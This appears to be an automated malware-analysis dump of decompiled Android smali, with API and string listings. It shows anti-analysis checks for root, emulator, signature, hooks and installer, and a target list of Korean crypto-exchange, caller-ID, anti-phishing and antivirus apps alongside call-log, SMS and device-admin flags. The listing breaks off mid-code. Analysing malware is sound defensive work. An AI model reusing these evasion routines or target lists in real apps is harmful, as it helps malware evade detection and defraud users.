                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.getBuildSerial
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • java.lang.String.equals
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • android.support.coreui.app._.showDialogWarn
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getJSONArray
                                                • org.json.JSONArray.length
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getBoolean
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • android.support.coreui.app._.obj:Lorg/json/JSONObject
                                                • org.json.JSONObject.getString
                                                • android.support.coreui.app._.showWelcomeMessage
                                                • org.json.JSONArray.getString
                                                • android.support.coreui.app._.b
                                                • android.support.coreui.app._.dxTitle:Ljava/lang/String
                                                • java.lang.StringBuffer.<init>
                                                • java.lang.StringBuffer.append
                                                • org.json.JSONArray.getString
                                                • java.lang.StringBuffer.append
                                                • java.lang.StringBuffer.toString
                                                • android.support.coreui.app._.showDialogWarn
                                                • java.lang.System.exit
                                                Strings
                                                • CrashCatcher
                                                • AntiMod
                                                • Name
                                                • Package
                                                • Detected APK Modified Data!
                                                • VName
                                                • VCode
                                                • SignChecker
                                                • Signature
                                                • Detected APK Signature Does not Match!
                                                • RootChecker
                                                • Detected APK Running in rooted!
                                                • InstallerChecker
                                                • Please Install apk on Playstore!
                                                • EmuChecker
                                                • Detected APK Running in emulator!
                                                • DeviceLock
                                                • DeviceID
                                                • Detected APK Running in other device
                                                • HookChecker
                                                • Hooks
                                                • Welcome
                                                • WelcomeMode
                                                • WelcomeMsg
                                                • Detected Pirate App:\n
                                                Position Instruction Meta Information
                                                0.annotation system Ldalvik/annotation/Signature;
                                                1value = {
                                                2"()V"
                                                3}
                                                4.end annotation
                                                5.prologue
                                                6move-object v0, p0
                                                7move-object v5, v0
                                                8move-object v6, v0
                                                9try_start_3:
                                                10iget-object v6, v6, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                12invoke-virtual {v6}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                13move-result-object v6
                                                14move-object v7, v0
                                                16iget-object v7, v7, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                18invoke-virtual {v7}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                19move-result-object v7
                                                20const/4 v8, 0x0
                                                22invoke-virtual {v6, v7, v8}, Landroid/content/pm/PackageManager;->getPackageInfo(Ljava/lang/String;I)Landroid/content/pm/PackageInfo;
                                                23move-result-object v6
                                                24iput-object v6, v5, Landroid/support/coreui/app/_;->pInfo:Landroid/content/pm/PackageInfo;
                                                25move-object v5, v0
                                                26new-instance v6, Lorg/json/JSONObject;
                                                27move-object v10, v6
                                                28move-object v6, v10
                                                29move-object v7, v10
                                                30move-object v8, v0
                                                32iget-object v8, v8, Landroid/support/coreui/app/_;->data:Ljava/lang/String;
                                                33const/4 v9, 0x2
                                                35invoke-static {v8, v9}, Landroid/support/coreui/app/_;->a(Ljava/lang/String;I)Ljava/lang/String;
                                                36move-result-object v8
                                                38invoke-direct {v7, v8}, Lorg/json/JSONObject;-><init>(Ljava/lang/String;)V
                                                39iput-object v6, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                40move-object v5, v0
                                                42iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                44const-string v6, "CrashCatcher"
                                                46invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                47move-result v5
                                                48if-eqz v5, :cond_43
                                                49new-instance v5, Landroid/support/coreui/app/__;
                                                50move-object v10, v5
                                                51move-object v5, v10
                                                52move-object v6, v10
                                                53move-object v7, v0
                                                55iget-object v7, v7, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                57invoke-direct {v6, v7}, Landroid/support/coreui/app/__;-><init>(Landroid/content/Context;)V
                                                59invoke-static {v5}, Ljava/lang/Thread;->setDefaultUncaughtExceptionHandler(Ljava/lang/Thread$UncaughtExceptionHandler;)V
                                                60cond_43: move-object v5, v0
                                                62iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                64const-string v6, "AntiMod"
                                                66invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                67move-result v5
                                                68if-eqz v5, :cond_bf
                                                69move-object v5, v0
                                                71iget-object v5, v5, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                73invoke-virtual {v5}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                74move-result-object v5
                                                75move-object v6, v0
                                                77iget-object v6, v6, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                79invoke-virtual {v6}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
                                                80move-result-object v6
                                                82invoke-virtual {v5, v6}, Landroid/content/pm/PackageManager;->getApplicationLabel(Landroid/content/pm/ApplicationInfo;)Ljava/lang/CharSequence;
                                                83move-result-object v5
                                                84check-cast v5, Ljava/lang/String;
                                                85move-object v6, v0
                                                87iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                89const-string v7, "Name"
                                                91invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                92move-result-object v6
                                                94invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                95move-result v5
                                                96if-eqz v5, :cond_87
                                                97move-object v5, v0
                                                99iget-object v5, v5, Landroid/support/coreui/app/_;->context:Landroid/content/Context;
                                                101invoke-virtual {v5}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                                                102move-result-object v5
                                                103move-object v6, v0
                                                105iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                107const-string v7, "Package"
                                                109invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                110move-result-object v6
                                                112invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                113move-result v5
                                                114if-nez v5, :cond_91
                                                115cond_87: move-object v5, v0
                                                116move-object v6, v0
                                                118iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                120const-string v7, "Detected APK Modified Data!"
                                                122invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                123goto_90: return-void
                                                124cond_91: move-object v5, v0
                                                126iget-object v5, v5, Landroid/support/coreui/app/_;->pInfo:Landroid/content/pm/PackageInfo;
                                                128iget-object v5, v5, Landroid/content/pm/PackageInfo;->versionName:Ljava/lang/String;
                                                129move-object v6, v0
                                                131iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                133const-string v7, "VName"
                                                135invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                136move-result-object v6
                                                138invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                139move-result v5
                                                140if-eqz v5, :cond_b5
                                                141move-object v5, v0
                                                143iget-object v5, v5, Landroid/support/coreui/app/_;->pInfo:Landroid/content/pm/PackageInfo;
                                                144iget v5, v5, Landroid/content/pm/PackageInfo;->versionCode:I
                                                145move-object v6, v0
                                                147iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                149const-string v7, "VCode"
                                                151invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getInt(Ljava/lang/String;)I
                                                152move-result v6
                                                153if-eq v5, v6, :cond_bf
                                                154cond_b5: move-object v5, v0
                                                155move-object v6, v0
                                                157iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                159const-string v7, "Detected APK Modified Data!"
                                                161invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                162goto/16 :goto_90
                                                163cond_bf: move-object v5, v0
                                                165iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                167const-string v6, "SignChecker"
                                                169invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                170move-result v5
                                                171if-eqz v5, :cond_e8
                                                172move-object v5, v0
                                                174iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                176const-string v6, "Signature"
                                                178invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                179move-result-object v5
                                                180move-object v6, v0
                                                182invoke-virtual {v6}, Landroid/support/coreui/app/_;->x()Ljava/lang/String;
                                                183move-result-object v6
                                                185invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                186move-result v5
                                                187if-nez v5, :cond_e8
                                                188move-object v5, v0
                                                189move-object v6, v0
                                                191iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                193const-string v7, "Detected APK Signature Does not Match!"
                                                195invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                196goto/16 :goto_90
                                                197cond_e8: move-object v5, v0
                                                199iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                201const-string v6, "RootChecker"
                                                203invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                204move-result v5
                                                205if-eqz v5, :cond_104
                                                206move-object v5, v0
                                                208invoke-virtual {v5}, Landroid/support/coreui/app/_;->isRooted()Z
                                                209move-result v5
                                                210if-eqz v5, :cond_104
                                                211move-object v5, v0
                                                212move-object v6, v0
                                                214iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                216const-string v7, "Detected APK Running in rooted!"
                                                218invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                219goto/16 :goto_90
                                                220cond_104: move-object v5, v0
                                                222iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                224const-string v6, "InstallerChecker"
                                                226invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                227move-result v5
                                                228if-eqz v5, :cond_121
                                                229move-object v5, v0
                                                231invoke-virtual {v5}, Landroid/support/coreui/app/_;->verifyInstaller()Z
                                                232move-result v5
                                                233if-nez v5, :cond_121
                                                234move-object v5, v0
                                                235move-object v6, v0
                                                237iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                239const-string v7, "Please Install apk on Playstore!"
                                                241invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                242goto/16 :goto_90
                                                243cond_121: move-object v5, v0
                                                245iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                247const-string v6, "EmuChecker"
                                                249invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                250move-result v5
                                                251if-eqz v5, :cond_13d
                                                253invoke-static {}, Landroid/support/coreui/app/_;->isEmulator()Z
                                                254move-result v5
                                                255if-eqz v5, :cond_13d
                                                256move-object v5, v0
                                                257move-object v6, v0
                                                259iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                261const-string v7, "Detected APK Running in emulator!"
                                                263invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                264goto/16 :goto_90
                                                265cond_13d: move-object v5, v0
                                                267iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                269const-string v6, "DeviceLock"
                                                271invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                272move-result v5
                                                273if-eqz v5, :cond_166
                                                275invoke-static {}, Landroid/support/coreui/app/_;->getBuildSerial()Ljava/lang/String;
                                                276move-result-object v5
                                                277move-object v6, v0
                                                279iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                281const-string v7, "DeviceID"
                                                283invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                284move-result-object v6
                                                286invoke-virtual {v5, v6}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                                                287move-result v5
                                                288if-nez v5, :cond_166
                                                289move-object v5, v0
                                                290move-object v6, v0
                                                292iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                294const-string v7, "Detected APK Running in other device"
                                                296invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                297goto/16 :goto_90
                                                298cond_166: move-object v5, v0
                                                300iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                302const-string v6, "HookChecker"
                                                304invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                305move-result v5
                                                306if-eqz v5, :cond_185
                                                307move-object v5, v0
                                                309iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                311const-string v6, "Hooks"
                                                313invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getJSONArray(Ljava/lang/String;)Lorg/json/JSONArray;
                                                314move-result-object v5
                                                315move-object v2, v5
                                                316const/4 v5, 0x0
                                                317move v3, v5
                                                318goto_17d: move v5, v3
                                                319move-object v6, v2
                                                321invoke-virtual {v6}, Lorg/json/JSONArray;->length()I
                                                322move-result v6
                                                323if-lt v5, v6, :cond_1a8
                                                324cond_185: move-object v5, v0
                                                326iget-object v5, v5, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                328const-string v6, "Welcome"
                                                330invoke-virtual {v5, v6}, Lorg/json/JSONObject;->getBoolean(Ljava/lang/String;)Z
                                                331move-result v5
                                                332if-eqz v5, :cond_1a6
                                                333move-object v5, v0
                                                334move-object v6, v0
                                                336iget-object v6, v6, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                338const-string v7, "WelcomeMode"
                                                340invoke-virtual {v6, v7}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                341move-result-object v6
                                                342move-object v7, v0
                                                344iget-object v7, v7, Landroid/support/coreui/app/_;->obj:Lorg/json/JSONObject;
                                                346const-string v8, "WelcomeMsg"
                                                348invoke-virtual {v7, v8}, Lorg/json/JSONObject;->getString(Ljava/lang/String;)Ljava/lang/String;
                                                349move-result-object v7
                                                351invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showWelcomeMessage(Ljava/lang/String;Ljava/lang/String;)V
                                                352goto_1a6: goto/16 :goto_90
                                                353cond_1a8: move-object v5, v0
                                                354move-object v6, v2
                                                355move v7, v3
                                                357invoke-virtual {v6, v7}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
                                                358move-result-object v6
                                                360invoke-direct {v5, v6}, Landroid/support/coreui/app/_;->b(Ljava/lang/String;)Z
                                                361move-result v5
                                                362if-eqz v5, :cond_1da
                                                363move-object v5, v0
                                                364move-object v6, v0
                                                366iget-object v6, v6, Landroid/support/coreui/app/_;->dxTitle:Ljava/lang/String;
                                                367new-instance v7, Ljava/lang/StringBuffer;
                                                368move-object v10, v7
                                                369move-object v7, v10
                                                370move-object v8, v10
                                                372invoke-direct {v8}, Ljava/lang/StringBuffer;-><init>()V
                                                374const-string v8, "Detected Pirate App:\n "
                                                376invoke-virtual {v7, v8}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                377move-result-object v7
                                                378move-object v8, v2
                                                379move v9, v3
                                                381invoke-virtual {v8, v9}, Lorg/json/JSONArray;->getString(I)Ljava/lang/String;
                                                382move-result-object v8
                                                384invoke-virtual {v7, v8}, Ljava/lang/StringBuffer;->append(Ljava/lang/String;)Ljava/lang/StringBuffer;
                                                385move-result-object v7
                                                387invoke-virtual {v7}, Ljava/lang/StringBuffer;->toString()Ljava/lang/String;
                                                388move-result-object v7
                                                390invoke-direct {v5, v6, v7}, Landroid/support/coreui/app/_;->showDialogWarn(Ljava/lang/String;Ljava/lang/String;)V
                                                391try_end_1d8: goto/16 :goto_90
                                                392cond_1da: add-int/lit8 v3, v3, 0x1
                                                393goto/16 :goto_17d
                                                394catch_1dd: move-exception v5
                                                395move-object v2, v5
                                                396const/4 v5, 0x0
                                                398invoke-static {v5}, Ljava/lang/System;->exit(I)V
                                                399goto/16 :goto_1a6
                                                APIs
                                                • android.provider.CallLog$Calls.CONTENT_URI:Landroid/net/Uri
                                                • java.util.ArrayList.<init>
                                                • java.util.ArrayList.<init>
                                                • java.util.ArrayList.<init>
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                • java.util.List.add
                                                Strings
                                                • pro.huobi
                                                • com.btckorea.bithumb
                                                • com.dunamu.exchange
                                                • com.coinbit.global.android.exchange
                                                • coinone.co.kr.official
                                                • kr.co.zestcnt.coinzest
                                                • com.ktcs.whowho
                                                • com.andr.evine.who
                                                • gogolook.callgogolook2
                                                • com.infinigru.police.phishingeyes
                                                • com.ahnlab.v3mobilesecurity.soda
                                                • com.estsoft.alyac
                                                • jp.naver.lineantivirus.android
                                                • com.sktelecom.tguard
                                                • kr.co.adtcaps.mobileguard
                                                • Huobi Pro
                                                • \ube57\uc378
                                                • \uc5c5\ube44\ud2b8
                                                • \ucf54\uc778\ube57
                                                • \ucf54\uc778\uc6d0
                                                • \ucf54\uc778\uc81c\uc2a4\ud2b8
                                                • \ud6c4\ud6c4
                                                • \ubb50\uc57c\uc774\ubc88\ud638
                                                • \ud6c4\uc2a4\ucf5c
                                                • \uc2dc\ud2f0\uc98c\ucf54\ub09c
                                                • AhnLab V3 Mobile Security
                                                • \uc54c\uc57dM
                                                • \ub124\uc774\ubc84 \ubc31\uc2e0
                                                • \ubaa8\ubc14\uc77c\uac00\ub4dc
                                                Position Instruction Meta Information
                                                1sget-object v0, Landroid/provider/CallLog$Calls;->CONTENT_URI:Landroid/net/Uri;
                                                2sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->CALL_RECORD_URI_ALL:Landroid/net/Uri;
                                                3const/4 v0, 0x0
                                                4sput-boolean v0, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEVICE_ADMIN:Z
                                                5sput-boolean v0, Lcom/tencent/shopcj/constant/AppConstants;->OPEN_DEFAULT_SMS:Z
                                                6new-instance v0, Ljava/util/ArrayList;
                                                8invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                9sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                10new-instance v0, Ljava/util/ArrayList;
                                                12invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                13sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                14new-instance v0, Ljava/util/ArrayList;
                                                16invoke-direct {v0}, Ljava/util/ArrayList;-><init>()V
                                                17sput-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                19sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                21const-string v1, "pro.huobi"
                                                23invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                25sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                27const-string v1, "com.btckorea.bithumb"
                                                29invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                31sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                33const-string v1, "com.dunamu.exchange"
                                                35invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                37sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                39const-string v1, "com.coinbit.global.android.exchange"
                                                41invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                43sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                45const-string v1, "coinone.co.kr.official"
                                                47invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                49sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                51const-string v1, "kr.co.zestcnt.coinzest"
                                                53invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                55sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                57const-string v1, "com.ktcs.whowho"
                                                59invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                61sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                63const-string v1, "com.andr.evine.who"
                                                65invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                67sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                69const-string v1, "gogolook.callgogolook2"
                                                71invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                73sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                75const-string v1, "com.infinigru.police.phishingeyes"
                                                77invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                79sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                81const-string v1, "com.ahnlab.v3mobilesecurity.soda"
                                                83invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                85sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                87const-string v1, "com.estsoft.alyac"
                                                89invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                91sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                93const-string v1, "jp.naver.lineantivirus.android"
                                                95invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                97sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                99const-string v1, "com.sktelecom.tguard"
                                                101invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                103sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->packageNameList:Ljava/util/List;
                                                105const-string v1, "kr.co.adtcaps.mobileguard"
                                                107invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                109sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                111const-string v1, "Huobi Pro"
                                                113invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                115sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                117const-string v2, "\ube57\uc378"
                                                119invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                121sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                123const-string v3, "\uc5c5\ube44\ud2b8"
                                                125invoke-interface {v0, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                127sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                129const-string v4, "\ucf54\uc778\ube57"
                                                131invoke-interface {v0, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                133sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                135const-string v5, "\ucf54\uc778\uc6d0"
                                                137invoke-interface {v0, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                139sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                141const-string v6, "\ucf54\uc778\uc81c\uc2a4\ud2b8"
                                                143invoke-interface {v0, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                145sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                147const-string v7, "\ud6c4\ud6c4"
                                                149invoke-interface {v0, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                151sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                153const-string v8, "\ubb50\uc57c\uc774\ubc88\ud638"
                                                155invoke-interface {v0, v8}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                157sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                159const-string v9, "\ud6c4\uc2a4\ucf5c"
                                                161invoke-interface {v0, v9}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                163sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                165const-string v10, "\uc2dc\ud2f0\uc98c\ucf54\ub09c"
                                                167invoke-interface {v0, v10}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                169sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                171const-string v11, "AhnLab V3 Mobile Security"
                                                173invoke-interface {v0, v11}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                175sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                177const-string v12, "\uc54c\uc57dM"
                                                179invoke-interface {v0, v12}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                181sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                183const-string v13, "\ub124\uc774\ubc84 \ubc31\uc2e0"
                                                185invoke-interface {v0, v13}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                187sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                189const-string v14, "\ubaa8\ubc14\uc77c\uac00\ub4dc"
                                                191invoke-interface {v0, v14}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                193sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->nameList:Ljava/util/List;
                                                195invoke-interface {v0, v14}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                197sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                199invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                201sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                203invoke-interface {v0, v2}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                205sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                207invoke-interface {v0, v3}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                209sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                211invoke-interface {v0, v4}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                213sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                215invoke-interface {v0, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                217sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                219invoke-interface {v0, v6}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                221sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                223invoke-interface {v0, v7}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                225sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
                                                227invoke-interface {v0, v8}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                229sget-object v0, Lcom/tencent/shopcj/constant/AppConstants;->codeList:Ljava/util/List;
